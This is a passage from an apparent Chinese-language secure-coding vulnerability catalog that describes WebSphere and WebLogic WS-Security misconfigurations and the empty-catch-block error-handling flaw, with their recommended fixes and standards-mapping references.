[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.4
[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3260.1 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3870 CAT I, APP3260 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3870 CAT I, APP3260 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3870 CAT I, APP3260 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3870 CAT I, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3870 CAT I, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3870 CAT I, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[23] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[24] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
WebSphere Service Requester Misconfiguration: Outbound WS-Security Not Enabled
ABSTRACT
若请求不使用 WS-Security,则难以保证消息的完整性或保密性。
EXPLANATION
WS-Security 是 SOAP 的增强功能,无论采用何种传输协议,它都能提供端到端的消息完整性和保密性。不使用 WS-Security 时,将依靠传输安全性来保证消息的完整性和保密性。如果一项服务将消息转发到其他服务,则会使用中继点之间最薄弱的传输机制传送消息。WS-Security 可移除传输安全性 dependency,并将安全性内置到消息中。
若 IBM WebSphere WS-Security 客户端部署描述符扩展文件中缺少 <securityRequestGeneratorServiceConfig>
标签,则表明未启用输出消息的安全性。
RECOMMENDATIONS
如果服务提供程序提供支持,则将客户端配置为使用 WS-Security。该配置应包含 <securityRequestGeneratorServiceConfig>
标签以及适当的安全令牌、时间戳、签名和加密标签。
REFERENCES
[1] Web Services Handbook for WebSphere Application Server 6.1 IBM Redbooks
[2] Web Services Security SOAP Message Security 1.1 OASIS
[3] Standards Mapping - Common Weakness Enumeration CWE ID 311
[4] Standards Mapping - FIPS200 CM
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[7] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[8] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[9] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[10] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[17] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[18] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[19] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[30] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[31] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
WebSphere Service Requester Misconfiguration: Unsigned Inbound Timestamp
ABSTRACT
未经签名的时间戳会导致 SOAP 消息遭受 tampering 及 replay 攻击。
EXPLANATION
安全性时间戳可表明消息的“新鲜性”。如果攻击者截取了一则消息,稍后将其转发,则接收者能够拒绝此 replay 攻击,因为时间戳会指明该消息已过期。时间戳可包含有效期属性,通过该属性,可对安全语义的有效期设置一个硬限制。
为避免攻击者篡改时间戳,应对时间戳执行签名。如果 SOAP 消息的时间戳未经签名,则攻击者可在接收者不知情的情况下截取该消息、修改时间戳,以及转发该消息。在这种情况下,攻击者可能会欺骗接收者接受恶意消息。
下列客户端配置可让 WebSphere 接受未经签名的时间戳:
1 | <com.ibm.etools.webservice.wscext:WsClientExtension xmi:version="2.0" xmlns:xmi="http://www.omg.org/XMI" xmlns:com.ibm.etools.webservice.wscext="http://www.ibm.com/websphere/appserver/schemas/5.0.2/wscext.xmi" xmi:id="WsClientExtension_1152150778436"> |
RECOMMENDATIONS
将此客户端配置为对输入的时间戳验证签名。
下列客户端配置可让 WebSphere 验证来自服务提供程序的消息签名:
1 | <com.ibm.etools.webservice.wscext:WsClientExtension xmi:version="2.0" xmlns:xmi="http://www.omg.org/XMI" xmlns:com.ibm.etools.webservice.wscext="http://www.ibm.com/websphere/appserver/schemas/5.0.2/wscext.xmi" xmi:id="WsClientExtension_1152150778436"> |
REFERENCES
[1] Web Services Handbook for WebSphere Application Server 6.1 IBM Redbooks
[2] Web Services Security: SOAP Message Security 1.1 OASIS
[3] Standards Mapping - Common Weakness Enumeration CWE ID 345
[4] Standards Mapping - FIPS200 CM
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[7] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.4
[14] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3260.1 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3860 CAT II, APP3260 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3860 CAT II, APP3260 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3860 CAT II, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3860 CAT II, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3860 CAT II, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3860 CAT II, APP3260 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[24] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
WebSphere Service Requester Misconfiguration: Unsigned Outbound Timestamp
ABSTRACT
未经签名的时间戳会导致 SOAP 消息遭受 tampering 及 replay 攻击。
EXPLANATION
安全性时间戳可表明消息的“新鲜性”。如果攻击者截取了一则消息,稍后将其转发,则接收者能够拒绝此 replay 攻击,因为时间戳会指明该消息已过期。时间戳可包含有效期属性,通过该属性,可对安全语义的有效期设置一个硬限制。
为避免攻击者篡改时间戳,应对时间戳执行签名。如果 SOAP 消息的时间戳未经签名,则攻击者可在接收者不知情的情况下截取该消息、修改时间戳,以及转发该消息。在这种情况下,攻击者可能会欺骗接收者接受恶意消息。
下列客户端配置可让 WebSphere 发送未经签名的时间戳:
1 | <com.ibm.etools.webservice.wscext:WsClientExtension xmi:version="2.0" xmlns:xmi="http://www.omg.org/XMI" xmlns:com.ibm.etools.webservice.wscext="http://www.ibm.com/websphere/appserver/schemas/5.0.2/wscext.xmi" xmi:id="WsClientExtension_1152150778436"> |
RECOMMENDATIONS
将此客户端配置为对输出的时间戳进行签名。
下列客户端配置可让 WebSphere 对输出的时间戳进行签名:
1 | <com.ibm.etools.webservice.wscext:WsClientExtension xmi:version="2.0" xmlns:xmi="http://www.omg.org/XMI" xmlns:com.ibm.etools.webservice.wscext="http://www.ibm.com/websphere/appserver/schemas/5.0.2/wscext.xmi" xmi:id="WsClientExtension_1152150778436"> |
REFERENCES
[1] Web Services Handbook for WebSphere Application Server 6.1 IBM Redbooks
[2] Web Services Security: SOAP Message Security 1.1 OASIS
[3] Standards Mapping - Common Weakness Enumeration CWE ID 345
[4] Standards Mapping - FIPS200 CM
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[7] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.4
[14] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3260.1 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3860 CAT II, APP3260 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3860 CAT II, APP3260 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3860 CAT II, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3860 CAT II, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3860 CAT II, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3860 CAT II, APP3260 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[24] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
WebSphere Service Requester Misconfiguration: Weak Token
ABSTRACT
若在未经加密的通道上使用 UsernameToken 及明文密码,则可截取 SOAP 消息的攻击者会趁机获取该密码。
EXPLANATION
若通过未经加密的通道发送明文密码,则可截取 SOAP 消息的攻击者会趁机获取凭证。
下列 WebSphere 客户端配置使用了此 UsernameToken:
1 | <com.ibm.etools.webservice.wscext:WsClientExtension xmi:version="2.0" xmlns:xmi="http://www.omg.org/XMI" xmlns:com.ibm.etools.webservice.wscext="http://www.ibm.com/websphere/appserver/schemas/5.0.2/wscext.xmi" xmi:id="WsClientExtension_1151349988084"> |
RECOMMENDATIONS
如果服务提供程序提供支持,则使用签名而非 UsernameToken。下面提供了一个配置示例:
1 | <com.ibm.etools.webservice.wscext:WsClientExtension xmi:version="2.0" xmlns:xmi="http://www.omg.org/XMI" xmlns:com.ibm.etools.webservice.wscext="http://www.ibm.com/websphere/appserver/schemas/5.0.2/wscext.xmi" xmi:id="WsClientExtension_1152150778436"> |
REFERENCES
[1] Web Services Security: SOAP Message Security 1.1 OASIS
[2] Web Services Security Username Token Profile 1.0 OASIS
[3] Standards Mapping - Common Weakness Enumeration CWE ID 254
[4] Standards Mapping - FIPS200 MP
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[7] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[8] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[10] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.8, Requirement 8.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.3, Requirement 8.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4, Requirement 8.2.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4, Requirement 8.2.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4, Requirement 8.2.1
[17] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[18] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260.1 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000220 CAT II, APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000220 CAT II, APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000220 CAT II, APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Weblogic Misconfiguration: Missing Timestamp
ABSTRACT
若缺少时间戳,会导致 SOAP 消息遭受 replay 攻击。
EXPLANATION
安全性时间戳可表明消息安全数据的“新鲜性”。如果攻击者截取了一则消息,稍后将其转发,则接收者能够拒绝此 replay 攻击,因为时间戳会指明该消息已过期。
为避免攻击者篡改时间戳,应对时间戳执行签名。如果 SOAP 消息的时间戳未经签名,则攻击者可在接收者不知情的情况下截取该消息、修改时间戳,以及转发该消息。在这种情况下,攻击者会欺骗接收者接受恶意消息。
例 1:以下策略条目中的 <MessageAge>
标签已被注释掉。
1 | <wsp:Policy |
RECOMMENDATIONS
将服务配置为在 SOAP 消息中发送时间戳。 例 2:以下策略条目包含
1 | <wsp:Policy |
REFERENCES
[1] Security Policy Assertion Reference BEA
[2] Standards Mapping - Common Weakness Enumeration CWE ID 254
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[8] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[17] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3260.1 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3870 CAT I, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3870 CAT I, APP3260 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3870 CAT I, APP3260 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3870 CAT I, APP3260 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3870 CAT I, APP3260 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3870 CAT I, APP3260 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[29] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Weblogic Misconfiguration: Weak Token
ABSTRACT
若在未经加密的通道上使用 UsernameToken 及明文密码,则可截取 SOAP 消息的攻击者会趁机获取该密码。
EXPLANATION
若通过未经加密的通道发送明文密码,则可截取 SOAP 消息的攻击者会趁机获取凭证。
例 1:以下策略条目使用 UsernameToken。
1 | <wssp:SupportedTokens> |
RECOMMENDATIONS
要求使用签名,而不是 UsernameToken。
例 2:
1 | <wssp:SupportedTokens> |
REFERENCES
[1] Web Services Security: SOAP Message Security 1.1 OASIS
[2] Web Services Security Username Token Profile 1.0 OASIS
[3] Security Policy Assertion Reference BEA
[4] Standards Mapping - Common Weakness Enumeration CWE ID 254
[5] Standards Mapping - FIPS200 CM, SC
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[8] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[9] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[10] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[11] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[18] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[19] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000220 CAT II, APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000220 CAT II, APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000220 CAT II, APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[30] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[31] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
异常处理
错误和错误处理代表 API 的一个类。与错误处理相关的错误十分常见,它们单独需要一个特殊的界。对于“API 滥用”,有两种方式可以引入与错误相关的安全漏洞:最常用的方式是不当处理错误(或根本不处理)。第二种方式是制造提供太多信息(给潜在的攻击者)或难以处理的错误。
Poor Error Handling: Empty Catch Block
Poor Error Handling: Overly Broad Catch
Poor Error Handling: Overly Broad Throws
Poor Error Handling: Program Catches NullPointerException
Poor Error Handling: Return Inside Finally
Poor Error Handling: Swallowed ThreadDeath
Poor Error Handling: Throw Inside Finally
Poor Error Handling: Unhandled SSL Exception
Poor Error Handling: Empty Catch Block
ABSTRACT
忽略异常会导致程序无法发现意外状况和情况。
EXPLANATION
几乎每一个对软件系统的严重攻击都是从违反程序员的假设开始的。攻击后,程序员的假设看起来既脆弱又拙劣,但攻击前,许多程序员会在午休时间为自己的种种假设做很好的辩护。
在代码中,很容易发现两个令人怀疑的假设:“一是这个方法调用不可能出错;二是即使出错了,也不会对系统造成什么重要影响。”因此当程序员忽略异常时,这其实就表明了他们是基于上述假设进行的操作。
例 1:下面摘录的代码会忽略一个由 doExchange() 抛出的罕见异常。
1 | try { |
如果抛出 RareException 异常,程序会继续执行,就像什么都没有发生一样。程序不会记录任何有关这一特殊情况的依据,因而事后再查找这一异常就可能很困难。
RECOMMENDATIONS
